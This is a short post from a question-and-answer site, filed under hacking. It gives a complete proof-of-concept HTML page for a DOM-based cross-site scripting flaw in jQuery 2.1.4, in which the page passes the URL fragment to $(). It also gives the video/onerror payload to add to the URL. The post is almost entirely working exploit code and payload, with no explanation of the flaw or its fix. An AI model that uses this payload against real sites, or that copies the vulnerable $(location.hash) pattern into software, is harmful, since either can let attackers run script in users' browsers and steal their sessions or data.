0 votes
in Hacking by

Save below code to POC.html:

<html>

    <head>

         <title>Jquery XSS Test POC</title>

                <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.4/jquery.js"/>

                </script>

                <script>

                   $(location.hash.split('#')[1]);

                </script>

   </head>

     <body>

<center><p></p><p></p>

<h1>POC of  JQuery DOM XSS in jquery_2.1.4</h1>

<h3>cdn used: <span style="color:red">https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.4/jquery.js</span></h3>

<h3>by using parameter payload as: <span style="color:red">#&#x3C;video&#x3E;&#x3C;source/onerror=alert(&#x27;Hacked-by-XSS&#x27;)&#x3E;</span></h3>

</center>

    </body>

</html>

Open this POC.html in browser and in url add below code:
#<video><source/onerror=alert('Hacked-by-XSS')>

Please log in or register to answer this question.

Welcome to My QtoA, where you can ask questions and receive answers from other members of the community.
...